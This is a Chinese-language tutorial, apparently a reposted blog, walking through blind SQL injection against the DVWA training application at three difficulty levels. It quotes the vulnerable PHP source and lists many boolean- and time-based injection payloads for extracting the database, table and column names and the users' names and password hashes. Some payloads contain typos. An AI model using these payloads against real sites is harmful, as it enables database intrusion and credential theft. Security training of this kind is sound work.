DVWA——SQL Injection Blind(SQL盲注)


SQL 盲注介紹:

 盲注,與一般注入的區別在於,一般的注入攻擊者可以直接從頁面上看到注入語句的執行結果,而盲注時攻擊者通常是無法從顯示頁面上獲取執行結果,甚至連注入語句是否執行都無從得知,因此盲注的難度要比一般注入高。盲注分為三類:基於布爾SQL盲注基於時間的SQL盲注基於報錯的SQL盲注

 盲注思路步驟:

1.判斷是否存在注入,注入是字符型還是數字型

2.猜解當前數據庫名

3.猜解數據庫中的表名

4.猜解表中的字段名

5.猜解數據


Low級:

<?php 

if( isset( $_GET[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_GET[ 'id' ]; 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // User wasn't found, so the page wasn't! 
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    mysql_close(); 
} 

?> 

可以看到,Low級別的代碼對參數id沒有做任何檢查、過濾,存在明顯的SQL注入漏洞

 

User ID exists in the database.                顯示存在,

User ID is MISSING from the database.  顯示不存在

方法一:基於布爾盲注

 1.判斷是否存在注入,注入類型

輸入 1, 輸出 exists

 

 

 輸入  1' and 1=1 # ,輸出 exists

 

 

 輸入 1' and 1=2 # ,輸出 MISSING

 

 

 所以存在字符型的盲注。

2.猜數據庫名

 

先猜數據庫名長度:1'  and length(database())=1 # ,顯示不存在 直到 1' and length(database())=4 # , 顯示存在。。說明庫名長度為4

 

 

 然后采用二分法猜數據庫的名字。

 輸入1' and ascii(substr(databse(),1,1))>88 #,顯示存在,說明數據庫名的第一個字符的ascii值大於88

 輸入1' and ascii(substr(databse(),1,1))<110 #,顯示存在,說明數據庫名的第一個字符的ascii值小於110;

 直到猜到准確的數為止。我們通過試驗知道了,這里第一個ASCII值為100,ASCII的表去找對應的字母

 輸入1' and ascii(substr(database(),2,1))>88 #  —— 去找第二個字母 等等等

重復以上步驟,得到庫名為dvwa

3.猜解數據庫中的表名

先猜表的個數 1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 # ,輸出MISSING 不存在

接着  1' and (select count(table_name) from information_schema.tables where table_schema=database())>2 #,輸出MISSING 不存在

1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #,輸出exists 存在

所以有兩個表,我們先猜第一個表的長度

輸入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #,輸出MISSING

使用二分法 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #,輸出 exists

 

直到——  1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,輸出 exists,即第一個表名稱字符長為9。

現在猜第一個表的第一個字母

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #

直到—— 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #,即對應的字母為g

然后我們再去猜其他的9個字母,為u、e、s、t、b、o、o、k,即為guestbook

 

 

以及去猜第二個表

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>88 #

。。。

第二個表為,users

 

4.猜列名

就直接拿 users表為例了。

先猜表中的字段數目1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #   (中間步驟省略了) 數目為 8

猜user表各個名稱,按照常規流程,從users表的第1個字段開始,對其猜解每一個組成字符,獲取到完整的第1個字段名稱...然后是第2/3/.../8個字段名稱。當字段數目較多、名稱較長的時候,若依然按照以上方式手工猜解,則會耗費比較多的時間。當時間有限的情況下,實際上有的字段可能並不太需要獲取,字段的位置也暫且不作太多關注,首先獲取幾個包含鍵信息的字段,如:用戶名、密碼...

 

 

【猜想】數據庫中可能保存的字段名稱
用戶名:username/user_name/uname/u_name/user/name/...
密碼:password/pass_word/pwd/pass/...

所以說我們的命令就可以是 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 #,輸出exists

 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #,輸出exists

所以我們可以知道 users表中有 user和password。還可以試試別的

 

5.猜表中的字段值

同樣使用二分法來做,直接寫最后一步了:

用戶名的字段值:1' and length(substr((select user from users limit 0,1),1))=5 #,輸出exists

——說明user字段中第1個字段值的字符長度=5。

密碼的字段值:1' and length(substr((select password from users limit 0,1),1))=32 #,

——說明password字段中第1個字段值的字符長度=32(基本上這么長的密碼位數可能是用md5的加密方式保存的)

然后再使用二分法猜解user字段的值:(用戶名)

1' and ascii(substr((select user from users limit 0,1),1,1))=xxx #(第一個字符)

1' and ascii(substr((select user from users limit 0,1),2,1))=xxx #(第二個字符)                                            

。。。。。

猜解password字段的值:(密碼)

1' and ascii(substr((select password from users limit 0,1),1,1))=xxx #(第一個字符)

。。。。。

 

方法二:基於時間盲注

 

1.判斷是否存在注入,注入是字符型還是數字型

 

輸入1' and sleep(5) #,感覺到明顯延遲;

輸入1 and sleep(5) #,沒有延遲;

說明存在字符型的基於時間盲注。

2.猜解當前數據庫名

(前面猜的方法都有,直接給結果了):1' and if(length(database())=4,sleep(5),1) # 明顯延遲,說明數據庫名長度為4個字符。

然后二分法猜數據庫名:1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)# 明顯延遲,說明數據庫第一個字符為 d。

重復上述步驟,可猜出數據庫名為 dvwa

3.猜解數據庫中的表名

首先猜解數據庫中表的數量:1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# ,說明有兩個表

然后猜第一個表名長度:1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,說明第一個表名長度為9

采用二分法即可猜解出表名。

4.猜解表中的列名

還是先猜users表中的列的數量:1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# ,明顯延遲,說明有8個列

然后猜第一個列名的長度:1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明顯延遲,說明第一個列名為7個字符

再用二分法猜解。。。

5.猜解數據

同樣采用二分法來猜解,上面有過程。

(因為命令實在太多,而且成功與否的輸出情況都一樣,就沒截圖了)

 

Medium級:

<?php 

if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input 
    $id = $_POST[ 'id' ]; 
    $id = mysql_real_escape_string( $id ); 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    //mysql_close(); 
} 

?> 

可以看到,Medium級別的代碼利用mysql_real_escape_string函數對特殊符號進行轉義,同時前端頁面設置了下拉選擇表單,希望以此來控制用戶的輸入。

我們可以看到這種情況和前面的sql手工注入類似,可以用抓包修改id進行注入

 

這里就不再贅述了,可以參考上一篇文章,還有上面Low級的教程。

 

High級:

<?php 

if( isset( $_COOKIE[ 'id' ] ) ) { 
    // Get input 
    $id = $_COOKIE[ 'id' ]; 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // Might sleep a random amount 
        if( rand( 0, 5 ) == 3 ) { 
            sleep( rand( 2, 4 ) ); 
        } 

        // User wasn't found, so the page wasn't! 
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    mysql_close(); 
} 

?> 

可以看到,High級別的代碼利用cookie傳遞參數id,當SQL查詢結果為空時,會執行函數sleep(seconds),目的是為了擾亂基於時間的盲注。

同時在 SQL查詢語句中添加了LIMIT 1,希望以此控制只輸出一個結果。但是我們可以通過#將其注釋掉。

和前面的SQL注入一樣,但由於服務器端執行sleep函數,會使得基於時間盲注的准確性受到影響,這里我們只能使用基於布爾的盲注。

Low級有命令,可以自己試試。。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM